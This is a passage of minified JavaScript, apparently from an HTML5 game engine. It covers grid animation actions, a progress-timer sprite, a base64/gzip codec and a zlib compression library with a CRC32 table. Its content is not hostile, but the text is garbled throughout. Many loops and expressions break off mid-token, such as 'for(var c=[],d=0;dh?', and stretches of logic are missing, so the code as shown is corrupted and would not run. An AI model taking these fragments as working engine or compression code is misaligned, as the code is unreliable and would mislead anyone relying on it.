0.5*(a*a*a+2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.jq;a.$(this.q.k());return a},reverse:function(){return new b.jq(this.q.reverse())}});b.jq.create=function(a){return new b.jq(a)};b.OJ={Ra:b.jq.prototype.na,reverse:function(){return b.OJ}};b.iba=function(){return b.OJ};b.tE=function(a,c,d,e,f,g){var h=g*g,k=h*g,m=(1-f)/2;f=m*(-k+2*h-g);var p=m*(-k+h)+(2*k-3*h+1);g=m*(k-2*h+g)+(-2*k+3*h);h=m*(k-h);return b.d(a.x*f+c.x*p+d.x*g+e.x*h,a.y*f+c.y*p+d.y*g+e.y*h)};b.wP=function(a){for(var c=[],d=a.length-1;0<=d;d--)c.push(b.d(a[d].x,a[d].y));return c};b.P_=function(a){for(var c=[],d=0;dh?(f=b.d(0,0),e=b.d(0,1),k=b.d(1,0), m=b.d(1,1)):(k=b.d(0,0),m=b.d(0,1),f=b.d(1,0),e=b.d(1,1),g=h);c.x=g-g*d;c.z=Math.abs(parseFloat(g*a/4));a=this.Gc(f);a.x=c.x;a.z+=c.z;this.Gd(f,a);a=this.Gc(e);a.x=c.x;a.z+=c.z;this.Gd(e,a);a=this.Gc(k);a.x-=c.x;a.z-=c.z;this.Gd(k,a);a=this.Gc(m);a.x-=c.x;a.z-=c.z;this.Gd(m,a)}});b.K0=function(a){return new b.uz(a)};b.uz.create=b.K0; b.kH=b.uz.extend({ctor:function(a){void 0!==a?b.ec.prototype.ctor.call(this,a,b.size(1,1)):b.ec.prototype.ctor.call(this)},update:function(a){var c=Math.PI*a;a=Math.sin(c);var d=Math.cos(c/2),c=new N,e=b.d(0,0);e.x=e.y=1;var f=this.Gc(e);e.x=e.y=0;var e=this.Gc(e),g=f.y,h=e.y,k,m;g>h?(f=b.d(0,0),e=b.d(0,1),k=b.d(1,0),m=b.d(1,1)):(e=b.d(0,0),f=b.d(0,1),m=b.d(1,0),k=b.d(1,1),g=h);c.y=g-g*d;c.z=Math.abs(parseFloat(g*a)/4);a=this.Gc(f);a.y=c.y;a.z+=c.z;this.Gd(f,a);a=this.Gc(e);a.y-=c.y;a.z-=c.z;this.Gd(e, a);a=this.Gc(k);a.y=c.y;a.z+=c.z;this.Gd(k,a);a=this.Gc(m);a.y-=c.y;a.z-=c.z;this.Gd(m,a)}});b.M0=function(a){return new b.kH(a)};b.kH.create=b.M0; b.pH=b.Tc.extend({xa:null,De:0,Lv:0,hW:!1,hb:!1,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);this.xa=b.d(0,0);void 0!==e&&this.e(a,c,d,e)},bda:function(){return this.Lv},gka:function(a){this.Lv=a},Eja:function(a){this.hW=a},nx:function(){return this.xa},T:function(a){b.SF(a,this.xa)||(this.xa.x=a.x,this.xa.y=a.y,this.hb=!0)},e:function(a,c,d,e){return b.Tc.prototype.e.call(this,a,c)?(this.T(d),this.De=e,this.Lv=0.7,this.hb=!0):!1},update:function(){if(this.hb){for(var a=this.Y.width,c=this.Y.height, d=this.De,e=this.Lv,f=b.d(0,0),g=b.d(0,0),h,k,m,p=0;pf?this.tQ(d,f):this.JG(d)}});b.rN=function(a,c){return new b.cu(a,c)};b.cu.create=b.rN;b.hH=b.cu.extend({Ry:function(a,c){return 0==a.width+a.height?1:Math.pow((this.Y.width*(1-c)+this.Y.height*(1-c))/(a.width+a.height),6)}});b.pN=function(a,c){return new b.hH(a,c)};b.hH.create=b.pN; b.du=b.cu.extend({Ry:function(a,c){var d=this.Y.height*c;return 0==d?1:Math.pow(a.height/d,6)},tQ:function(a,c){var d=this.Wf(a),e=this.target.grid.eF();d.F.y+=e.y/2*(1-c);d.O.y+=e.y/2*(1-c);d.N.y-=e.y/2*(1-c);d.L.y-=e.y/2*(1-c);this.Qe(a,d)}});b.G0=function(a,c){return new b.du(a,c)};b.du.create=b.G0;b.iH=b.du.extend({Ry:function(a,c){return 0==a.height?1:Math.pow(this.Y.height*(1-c)/a.height,6)}});b.qN=function(a,c){return new b.iH(a,c)};b.iH.create=b.qN; b.OI=b.rc.extend({$C:null,wj:0,ui:null,ctor:function(a,c,d){b.ec.prototype.ctor.call(this);this.ui=[];void 0!==c&&this.e(a,c,d)},e:function(a,c,d){return b.rc.prototype.e.call(this,a,c)?(this.$C=d||0,this.ui.length=0,!0):!1},CG:function(a,c){for(var d=c-1;0<=d;d--){var e=0|b.yb()%(d+1),f=a[d];a[d]=a[e];a[e]=f}},JG:function(a){this.Qe(a,this.Wf(a))},IG:function(a){this.Qe(a,new b.ku)},A:function(a){b.rc.prototype.A.call(this,a);this.wj=this.Y.width*this.Y.height;a=this.ui;for(var c=a.length=0;ck.z&&(k.z=0.5);this.Gd(f,k)}}});b.PF=function(a,c){return new b.EH(a,c)};b.EH.create=b.PF;b.Va=b.m.extend({lc:null,li:0,Wb:null,kh:null,Ml:null,zd:!1,ub:"ProgressTimer",z1:function(){return b.d(this.kh.x,this.kh.y)},n5:function(a){this.kh=b.ZO(a)},R0:function(){return b.d(this.Ml.x,this.Ml.y)},S4:function(a){this.Ml=b.ZO(a)},iF:function(){return this.lc},H1:function(){return this.li},UN:function(){return this.Wb},s5:function(a){this.li!=a&&(this.li=b.Qc(a,0,100),this.OD())},rf:function(){},Uf:function(){return!1},M2:function(){return this.zd},gB:function(a){if(a>7-(a<<1)&1,c>>7-((a<<1)+1)&1):b.d(c>>(a<<1)+1&1,c>>(a<<1)&1)}return b.d(0,0)},Vv:null,zD:270,zB:270,De:0,rB:!1,cB:null,nd:0,uc:null,hf:null,VD:null,ns:!1,ctor:null,fr:function(a){b.m.prototype.ctor.call(this);this.lc=b.Va.Vh;this.li=0;this.kh=b.d(0,0);this.Ml=b.d(0,0);this.zd=!1;this.Wb=null;this.Vv=b.d(0,0);this.zB=this.zD=270;this.De=0;this.rB=!1;this.cB=b.rect(0,0,0,0);a&&this.HK(a)},gr:function(a){b.m.prototype.ctor.call(this);this.lc=b.Va.Vh;this.li=0;this.kh=b.d(0,0);this.Ml= b.d(0,0);this.zd=!1;this.Wb=null;this.VD=b.l.createBuffer();this.nd=0;this.hf=this.uc=null;this.ns=!1;a&&this.IK(a)},nb:function(a){this.Wb.color=a;this.Yb()},Ta:function(a){this.Wb.opacity=a;this.Yb()},Hg:function(){return this.Wb.color},Ig:function(){return this.Wb.opacity},XP:null,$Y:function(a){this.zd!==a&&(this.zd=a)},aZ:function(a){this.zd!==a&&(this.zd=a,this.hf=this.uc=null,this.nd=0)},Ky:null,fZ:function(a){this.Wb!=a&&(this.Wb=a,this.width=this.Wb.width,this.height=this.Wb.height)},gZ:function(a){a&& this.Wb!=a&&(this.Wb=a,this.width=a.width,this.height=a.height,this.uc&&(this.hf=this.uc=null,this.nd=0))},xG:null,nZ:function(a){a!==this.lc&&(this.lc=a)},oZ:function(a){a!==this.lc&&(this.uc&&(this.hf=this.uc=null,this.nd=0),this.lc=a)},pG:null,YY:function(a){this.zd!==a&&(this.zd=a)},ZY:function(a){this.zd!==a&&(this.zd=a,this.hf=this.uc=null,this.nd=0)},je:function(a){var c=this.Wb;if(!c)return{fa:0,ga:0};var d=c.quad,e=b.d(d.F.n.fa,d.F.n.ga),d=b.d(d.L.n.fa,d.L.n.ga);c.textureRectRotated&&(c= a.x,a.x=a.y,a.y=c);return{fa:e.x*(1-a.x)+d.x*a.x,ga:e.y*(1-a.y)+d.y*a.y}},ke:function(a){if(!this.Wb)return{x:0,y:0};var c=this.Wb.quad,d=b.d(c.F.i.x,c.F.i.y),c=b.d(c.L.i.x,c.L.i.y);return{x:d.x*(1-a.x)+c.x*a.x,y:d.y*(1-a.y)+c.y*a.y}},sO:null,HK:function(a){this.percentage=0;this.anchorY=this.anchorX=0.5;this.lc=b.Va.Vh;this.zd=!1;this.midPoint=b.d(0.5,0.5);this.barChangeRate=b.d(1,1);this.sprite=a;return!0},IK:function(a){this.percentage=0;this.hf=this.uc=null;this.nd=0;this.anchorY=this.anchorX= 0.5;this.lc=b.Va.Vh;this.zd=!1;this.midPoint=b.d(0.5,0.5);this.barChangeRate=b.d(1,1);this.sprite=a;this.shaderProgram=b.Hd.nc(b.Vi);return!0},Z:null,Ql:function(a){a=a||b.l;var c=this.Wb;"source"!=c.Xi&&(a.globalCompositeOperation=c.Xi);var d=b.view.ka,e=b.view.La;a.globalAlpha=c.fb/255;var f=c.ia,g=c.Q,h=c.Ib,k=c.xB,m=0|h.x,p=-h.y-f.height,q=c.sm;k.width=f.width*d;k.height=f.height*e;a.save();c.Kb&&(m=-h.x-f.width,a.scale(-1,1));c.Lb&&(p=h.y,a.scale(1,-1));m*=d;p*=e;this.lc==b.Va.Il?(f=this.cB, a.beginPath(),a.rect(f.x*d,f.y*e,f.width*d,f.height*e),a.clip(),a.closePath()):this.lc==b.Va.Vh&&(f=this.Vv.x*d,h=this.Vv.y*e,a.beginPath(),a.arc(f,h,this.De*e,Math.PI/180*this.zD,Math.PI/180*this.zB,this.rB),a.lineTo(f,h),a.clip(),a.closePath());c.I&&q.ln?(d=c.I.Oa,c.dr?a.drawImage(d,0,0,q.width,q.height,m,p,k.width,k.height):a.drawImage(d,q.x,q.y,q.width,q.height,m,p,k.width,k.height)):0!==g.width&&(c=this.color,a.fillStyle="rgba("+c.r+","+c.g+","+c.b+",1)",a.fillRect(m,p,g.width*d,g.height*e)); a.restore();b.Tf()},aj:function(a){a=a||b.l;if(this.uc&&this.Wb){b.Xs(this);var c=this.Wb.Gh();b.Kg(c.src,c.R);b.Ec(b.Jl);b.oe(this.Wb.texture);a.bindBuffer(a.ARRAY_BUFFER,this.VD);this.ns&&(a.bufferData(a.ARRAY_BUFFER,this.hf,a.DYNAMIC_DRAW),this.ns=!1);c=b.ud.BYTES_PER_ELEMENT;a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,c,0);a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,c,8);a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,c,12);this.lc===b.Va.Vh?a.drawArrays(a.TRIANGLE_FAN,0,this.nd):this.lc==b.Va.Il&&(this.zd? (a.drawArrays(a.TRIANGLE_STRIP,0,this.nd/2),a.drawArrays(a.TRIANGLE_STRIP,4,this.nd/2),b.lf++):a.drawArrays(a.TRIANGLE_STRIP,0,this.nd));b.lf++}},PZ:function(){if(this.Wb){var a,c=this.kh;a=this.li/100;var d=2*b.PI*(this.zd?a:1-a),e=b.d(c.x,1),f=b.S3(e,c,d),d=0;if(0==a)f=e,d=0;else if(1==a)f=e,d=4;else{var g=b.NR,h=b.Va.dI;for(a=0;a<=h;++a){var k=(a+(h-1))%h,m=this.gB(a%h),k=this.gB(k);0==a?k=b.bP(m,k,1-c.x):4==a&&(m=b.bP(m,k,1-c.x));var p=b.d(0,0);b.NF(m,k,c,f,p)&&(0!=a&&4!=a||0<=p.x&&1>=p.x)&&0<= p.y&&p.yc.x&&(d.x+=-c.x,c.x=0);1c.y&&(d.y+=-c.y,c.y=0);1a;a++)f[a]=new b.ud(null,null,null,this.hf,a*e);f[0].n=this.je(b.d(0,1));f[0].i=this.ke(b.d(0, 1));f[1].n=this.je(b.d(0,0));f[1].i=this.ke(b.d(0,0));f[6].n=this.je(b.d(1,1));f[6].i=this.ke(b.d(1,1));f[7].n=this.je(b.d(1,0));f[7].i=this.ke(b.d(1,0));this.uc=f}a=this.uc;a[2].n=this.je(b.d(c.x,d.y));a[2].i=this.ke(b.d(c.x,d.y));a[3].n=this.je(b.d(c.x,c.y));a[3].i=this.ke(b.d(c.x,c.y));a[4].n=this.je(b.d(d.x,d.y));a[4].i=this.ke(b.d(d.x,d.y));a[5].n=this.je(b.d(d.x,c.y));a[5].i=this.ke(b.d(d.x,c.y))}else{if(!this.uc)for(this.nd=4,e=b.ud.BYTES_PER_ELEMENT,this.hf=new ArrayBuffer(4*e),this.uc=[], a=0;4>a;a++)this.uc[a]=new b.ud(null,null,null,this.hf,a*e);a=this.uc;a[0].n=this.je(b.d(c.x,d.y));a[0].i=this.ke(b.d(c.x,d.y));a[1].n=this.je(b.d(c.x,c.y));a[1].i=this.ke(b.d(c.x,c.y));a[2].n=this.je(b.d(d.x,d.y));a[2].i=this.ke(b.d(d.x,d.y));a[3].n=this.je(b.d(d.x,c.y));a[3].i=this.ke(b.d(d.x,c.y))}this.Yb()}},Yb:function(){if(this.Wb&&this.uc){for(var a=this.Wb.quad.N.t,c=this.uc,d=0,e=this.nd;d=c-k.x&&(f=c-h.width); c=k.y-h.height/2;0.5=d-k.y&&(c=d-h.height);g.x=0;d=1;a.Kb&&(g.x-=h.width,d=-1);0a.height?(a=16,c=12):(a=12,c=16);a=this.Vo(b.size(a,c));this.Uu?(this.la.visible=!1,this.la.cb(b.Hb(b.show(),a,b.wc(this.finish,this),b.Py()))):this.bb.cb(b.Hb(a,b.qn.create(this.finish, this),b.vu.create()))},pi:function(){this.ih=this.Uu}});b.yI.create=function(a,c,d){return new b.yI(a,c,d)};b.ja={name:"Jacob__Codec"};b.K6=function(){return b.ja.Fa.wx.apply(b.ja.Fa,arguments)};b.L6=function(){var a=b.ja.vl.YM.apply(b.ja.vl,arguments);return b.ja.Fa.wx.apply(b.ja.Fa,[a])};b.CQ=function(a,c){c=c||1;var d=this.L6(a),e=[],f,g,h;f=0;for(h=d.length/c;f>4,e=(e&15)<<4|g>>2,f=(g&3)<<6|h,c.push(String.fromCharCode(d)),64!=g&&c.push(String.fromCharCode(e)),64!=h&&c.push(String.fromCharCode(f));return c=c.join("")}; b.ja.vl.ZM=function(a,c){var d=this.YM(a),e=[],f,g,h;f=0;for(h=d.length/c;f>=1;0==a.yi&&(a.yi=a.S(),c=a.yi&1,a.yi=a.yi>>1|128);return c}function W(a,c){for(var d=0,e=c;e--;)d=d<<1|V(a);c&&(d=b.ja.Fa.iE[d]>>8-c);return d}function X(a,c){a.lE[a.Ch++]=c;a.ft.push(String.fromCharCode(c));32768==a.Ch&&(a.Ch=0)} function ka(a){for(;;){if(a.jp[a.Mh]>=a.yN)return-1;if(a.wN[a.jp[a.Mh]]==a.Mh)return a.jp[a.Mh]++;a.jp[a.Mh]++}}function ma(a){var c=a.Qz[a.zt],d;if(17==a.Mh)return-1;a.zt++;a.Mh++;d=ka(a);if(0<=d)c.Ww=d;else if(c.Ww=32768,ma(a))return-1;d=ka(a);if(0<=d)c.Xw=d,c.CF=null;else if(c.Xw=32768,c.CF=a.Qz[a.zt],c.T2=a.zt,ma(a))return-1;a.Mh--;return 0}function na(a,c,d,e){a.Qz=c;a.zt=0;a.wN=e;a.yN=d;for(c=0;17>c;c++)a.jp[c]=0;a.Mh=0;return ma(a)?-1:0} function oa(a,c){for(var d,e,f=0,g=c[f];;)if(d=V(a)){if(!(g.Xw&32768))return g.Xw;g=g.CF;d=c.length;for(e=0;e>1,23e)X(a,e);else if(256==e)break;else{var h;e-=257;g=W(a,b.ja.Fa.WM[e])+b.ja.Fa.VM[e];e=b.ja.Fa.iE[W(a,5)]>>3;8e;e++)k[e]=0;for(e=0;ee)k[f++]=e;else if(16==e){var p;e=3+W(a,2);if(f+e>g){a.Ch=0;return}for(p=f?k[f-1]:0;e--;)k[f++]=p}else{e=17==e?3+W(a,3):11+W(a,7);if(f+e>g){a.Ch=0;return}for(;e--;)k[f++]= 0}g=a.Ts.length;for(f=0;f>>0}c=1;d=0;for(var e=a.length,f,g=0;0>>0}function e(c,d){this.index="number"===typeof d?d:0; this.Ns=0;this.buffer=c instanceof(y?Uint8Array:Array)?c:new (y?Uint8Array:Array)(32768);2*this.buffer.length<=this.index&&a(Error("invalid index"));this.buffer.length<=this.index&&this.Fh()}function f(a){this.buffer=new (y?Uint16Array:Array)(2*a);this.length=0}function g(a){var c=a.length,d=0,e=Number.POSITIVE_INFINITY,f,g,h,k,m,p,q,r,s;for(r=0;rd&&(d=a[r]),a[r]>=1;for(s=p;s=c:return[265,c-11,1];case 14>=c:return[266,c-13,1];case 16>=c:return[267,c-15,1];case 18>=c:return[268,c-17,1];case 22>=c:return[269,c-19,2];case 26>=c:return[270,c-23,2];case 30>=c:return[271,c-27,2];case 34>=c:return[272,c-31,2];case 42>=c:return[273,c-35,3];case 50>=c:return[274,c-43,3];case 58>=c:return[275,c-51,3];case 66>=c:return[276, c-59,3];case 82>=c:return[277,c-67,4];case 98>=c:return[278,c-83,4];case 114>=c:return[279,c-99,4];case 130>=c:return[280,c-115,4];case 162>=c:return[281,c-131,5];case 194>=c:return[282,c-163,5];case 226>=c:return[283,c-195,5];case 257>=c:return[284,c-227,5];case 258===c:return[285,c-258,0];default:a("invalid length: "+c)}}function p(c,d){function e(c,d){var f=c.QR,g=[],h=0,k;k=T[c.length];g[h++]=k&65535;g[h++]=k>>16&255;g[h++]=k>>24;var m;switch(F){case 1===f:m=[0,f-1,0];break;case 2===f:m=[1,f- 2,0];break;case 3===f:m=[2,f-3,0];break;case 4===f:m=[3,f-4,0];break;case 6>=f:m=[4,f-5,1];break;case 8>=f:m=[5,f-7,1];break;case 12>=f:m=[6,f-9,2];break;case 16>=f:m=[7,f-13,2];break;case 24>=f:m=[8,f-17,3];break;case 32>=f:m=[9,f-25,3];break;case 48>=f:m=[10,f-33,4];break;case 64>=f:m=[11,f-49,4];break;case 96>=f:m=[12,f-65,5];break;case 128>=f:m=[13,f-97,5];break;case 192>=f:m=[14,f-129,6];break;case 256>=f:m=[15,f-193,6];break;case 384>=f:m=[16,f-257,7];break;case 512>=f:m=[17,f-385,7];break; case 768>=f:m=[18,f-513,8];break;case 1024>=f:m=[19,f-769,8];break;case 1536>=f:m=[20,f-1025,9];break;case 2048>=f:m=[21,f-1537,9];break;case 3072>=f:m=[22,f-2049,10];break;case 4096>=f:m=[23,f-3073,10];break;case 6144>=f:m=[24,f-4097,11];break;case 8192>=f:m=[25,f-6145,11];break;case 12288>=f:m=[26,f-8193,12];break;case 16384>=f:m=[27,f-12289,12];break;case 24576>=f:m=[28,f-16385,13];break;case 32768>=f:m=[29,f-24577,13];break;default:a("invalid distance")}k=m;g[h++]=k[0];g[h++]=k[1];g[h++]=k[2]; f=0;for(h=g.length;f=h;)v[h++]=0;for(h=0;29>=h;)w[h++]=0}v[256]=1;f=0;for(g=d.length;f=g){r&&e(r,-1);h=0;for(m=g-f;hC&&f+CA&&(p=m,A=C);if(258===C)break}m=new k(A,f-p);r?r.length2*m[w-1]+g[w]&&(m[w]=2*m[w-1]+g[w]),p[w]=Array(m[w]),s[w]=Array(m[w]);for(u=0;uk[u]?(p[w][v]=x,s[w][v]=q,z+=2):(p[w][v]=k[u],s[w][v]=u,++u);t[w]=0;1===g[w]&&d(w)}k= r;m=0;for(p=e.length;m1<g&&a("undercommitted");h=0;for(k=c.length;h>>=1;return d}function t(a,c){this.input=a;this.a=new (y?Uint8Array:Array)(32768);this.vp=K.Mx;var d={},e;!c&&(c={})||"number"!== typeof c.yE||(this.vp=c.yE);for(e in c)d[e]=c[e];d.iy=this.a;this.z=new h(this.input,d)}function s(c,d){this.Nx=[];this.Xx=32768;this.Gg=this.g=this.C=this.oy=0;this.input=y?new Uint8Array(c):c;this.cG=!1;this.ay=ca;this.SG=!1;if(d||!(d={}))d.index&&(this.C=d.index),d.mE&&(this.Xx=d.mE),d.nE&&(this.ay=d.nE),d.resize&&(this.SG=d.resize);switch(this.ay){case la:this.b=32768;this.a=new (y?Uint8Array:Array)(32768+this.Xx+258);break;case ca:this.b=0;this.a=new (y?Uint8Array:Array)(this.Xx);this.Fh=this.dS; this.GG=this.UR;this.dy=this.YR;break;default:a(Error("invalid inflate mode"))}}function u(c,d){for(var e=c.g,f=c.Gg,g=c.input,h=c.C,k;f>>d;c.Gg=f-d;c.C=h;return e&(1<>>16;c.g=e>>k;c.Gg=f-k;c.C=h;return g&65535}function x(a){function c(a,d,e){var f,g,h,k;for(k=0;k< a;)switch(f=v(this,d),f){case 16:for(h=3+u(this,2);h--;)e[k++]=g;break;case 17:for(h=3+u(this,3);h--;)e[k++]=0;g=0;break;case 18:for(h=11+u(this,7);h--;)e[k++]=0;g=0;break;default:g=e[k++]=f}return e}var d=u(a,5)+257,e=u(a,5)+1,f=u(a,4)+4,h=new (y?Uint8Array:Array)(pa.length),k;for(k=0;k>>8&255]<<16|G[a>>>16&255]<<8|G[a>>>24&255])>>32-c:G[a]>>8-c);if(8>c+g)h=h<>c-d-1&1,8===++g&&(g=0,e[f++]=G[h],h=0,f===e.length&&(e=this.Fh()));e[f]=h;this.buffer=e;this.Ns=g;this.index=f};e.prototype.finish=function(){var a=this.buffer,c=this.index,d; 0w;++w){for(var C=w,H=C,I=7,C=C>>>1;C;C>>>=1)H<<=1,H|=C&1,--I;A[w]=(H<>>0}var G=A,A=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152, 4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290, 251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015, 1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381, 1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115, 1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918E3,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];y&&new Uint32Array(A);f.prototype.getParent=function(a){return 2* ((a-2)/4|0)};f.prototype.push=function(a,c){var d,e,f=this.buffer,g;d=this.length;f[this.length++]=c;for(f[this.length++]=a;0f[e])g=f[d],f[d]=f[e],f[e]=g,g=f[d+1],f[d+1]=f[e+1],f[e+1]=g,d=e;else break;return this.length};f.prototype.pop=function(){var a,c,d=this.buffer,e,f,g;c=d[0];a=d[1];this.length-=2;d[0]=d[this.length];d[1]=d[this.length+1];for(g=0;;){f=2*g+2;if(f>=this.length)break;f+2d[f]&&(f+=2);if(d[f]>d[g])e=d[g],d[g]=d[f],d[f]=e,e=d[g+ 1],d[g+1]=d[f+1],d[f+1]=e;else break;g=f}return{index:a,value:c,length:this.length}};var O=2,A={NONE:0,r:1,Mx:O,G8:3},R=[];for(w=0;288>w;w++)switch(F){case 143>=w:R.push([w+48,8]);break;case 255>=w:R.push([w-144+400,9]);break;case 279>=w:R.push([w-256+0,7]);break;case 287>=w:R.push([w-280+192,8]);break;default:a("invalid literal: "+w)}h.prototype.il=function(){var c,d,f,g,h=this.input;switch(this.vp){case 0:f=0;for(g=h.length;f>>8&255;t[u++]=s&255;t[u++]=s>>>8&255;if(y)t.set(d,u),u+=d.length,t=t.subarray(0,u);else{m=0;for(s=d.length;mB)for(;0B?B:138,I>B-3&&I=I?(K[H++]=17,K[H++]=I-3,A[17]++):(K[H++]=18,K[H++]=I-11,A[18]++),B-=I;else if(K[H++]=c[E],A[c[E]]++,B--,3>B)for(;0B?B:6,I>B-3&&IE;E++)m[E]=A[z[E]];for(x=19;4=Q;Q++)C=m(),w[Q]=C[2]<<24|C[1]<<16|C[0];var T=y?new Uint32Array(w):w,K=A;t.prototype.il=function(){var c,e,f,g,h=0;g=this.a;c=aa;switch(c){case aa:e=Math.LOG2E*Math.log(32768)-8;break;default:a(Error("invalid compression method"))}e=e<<4|c;g[h++]=e;switch(c){case aa:switch(this.vp){case K.NONE:f=0;break;case K.r:f=1;break; case K.Mx:f=2;break;default:a(Error("unsupported compression type"))}break;default:a(Error("invalid compression method"))}c=f<<6|0;g[h++]=c|31-(256*e+c)%31;c=d(this.input);this.z.b=h;g=this.z.il();h=g.length;y&&(g=new Uint8Array(g.buffer),g.length<=h+4&&(this.a=new Uint8Array(g.length+4),this.a.set(g),g=this.a),g=g.subarray(0,h+4));g[h++]=c>>24&255;g[h++]=c>>16&255;g[h++]=c>>8&255;g[h++]=c&255;return g};c("Zlib.Deflate",t);c("Zlib.Deflate.compress",function(a,c){return(new t(a,c)).il()});c("Zlib.Deflate.CompressionType", K);c("Zlib.Deflate.CompressionType.NONE",K.NONE);c("Zlib.Deflate.CompressionType.FIXED",K.r);c("Zlib.Deflate.CompressionType.DYNAMIC",K.Mx);var la=0,ca=1,A={lR:la,YQ:ca};s.prototype.d=function(){for(;!this.cG;){var c=u(this,3);c&1&&(this.cG=F);c>>>=1;switch(c){case 0:var c=this.input,d=this.C,e=this.a,f=this.b,g=D,h=D,k=D,m=e.length,g=D;this.Gg=this.g=0;g=c[d++];g===D&&a(Error("invalid uncompressed block header: LEN (first byte)"));h=g;g=c[d++];g===D&&a(Error("invalid uncompressed block header: LEN (second byte)")); h|=g<<8;g=c[d++];g===D&&a(Error("invalid uncompressed block header: NLEN (first byte)"));k=g;g=c[d++];g===D&&a(Error("invalid uncompressed block header: NLEN (second byte)"));k|=g<<8;h===~k&&a(Error("invalid uncompressed block header: length verify"));d+h>c.length&&a(Error("input buffer is broken"));switch(this.ay){case la:for(;f+h>e.length;){g=m-f;h-=g;if(y)e.set(c.subarray(d,d+g),f),f+=g,d+=g;else for(;g--;)e[f++]=c[d++];this.b=f;e=this.Fh();f=this.b}break;case ca:for(;f+h>e.length;)e=this.Fh({ga:2}); break;default:a(Error("invalid inflate mode"))}if(y)e.set(c.subarray(d,d+h),f),f+=h,d+=h;else for(;h--;)e[f++]=c[d++];this.C=d;this.b=f;this.a=e;break;case 1:this.dy(wa,xa);break;case 2:x(this);break;default:a(Error("unknown BTYPE: "+c))}}return this.GG()};w=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var pa=y?new Uint16Array(w):w;w=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];var qa=y?new Uint16Array(w):w;w=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2, 3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var da=y?new Uint8Array(w):w;w=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var ra=y?new Uint16Array(w):w;w=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var ea=y?new Uint8Array(w):w;w=new (y?Uint8Array:Array)(288);C=0;for(H=w.length;C=C?8:255>=C?9:279>=C?7:8;var wa=g(w);w=new (y?Uint8Array:Array)(30);C=0;for(H=w.length;Cg)e>=f&&(this.b=e,d=this.Fh(),e=this.b),d[e++]=g;else for(g-=257,k=qa[g],0=f&&(this.b=e,d=this.Fh(),e=this.b);k--;)d[e]=d[e++-h];for(;8<=this.Gg;)this.Gg-=8,this.C--;this.b=e};s.prototype.YR=function(a,c){var d=this.a,e=this.b;this.fa=a;for(var f=d.length,g,h,k;256!==(g=v(this,a));)if(256>g)e>=f&&(d=this.Fh(),f=d.length), d[e++]=g;else for(g-=257,k=qa[g],0f&&(d=this.Fh(),f=d.length);k--;)d[e]=d[e++-h];for(;8<=this.Gg;)this.Gg-=8,this.C--;this.b=e};s.prototype.Fh=function(){var a=new (y?Uint8Array:Array)(this.b-32768),c=this.b-32768,d,e,f=this.a;if(y)a.set(f.subarray(32768,a.length));else for(d=0,e=a.length;dd;++d)f[d]=f[c+d];this.b= 32768;return f};s.prototype.dS=function(a){var c,d=this.input.length/this.C+1|0,e,f,g,h=this.input,k=this.a;a&&("number"===typeof a.ga&&(d=a.ga),"number"===typeof a.MR&&(d+=a.MR));2>d?(e=(h.length-this.C)/this.fa[2],g=e/2*258|0,f=gc&&(this.a.length=c),a=this.a);return this.buffer=a};z.prototype.d=function(){var c=this.input,e,f;e=this.LG.d();this.C=this.LG.C;this.wS&&(f=(c[this.C++]<<24|c[this.C++]<<16|c[this.C++]<< 8|c[this.C++])>>>0,f!==d(e)&&a(Error("invalid adler-32 checksum")));return 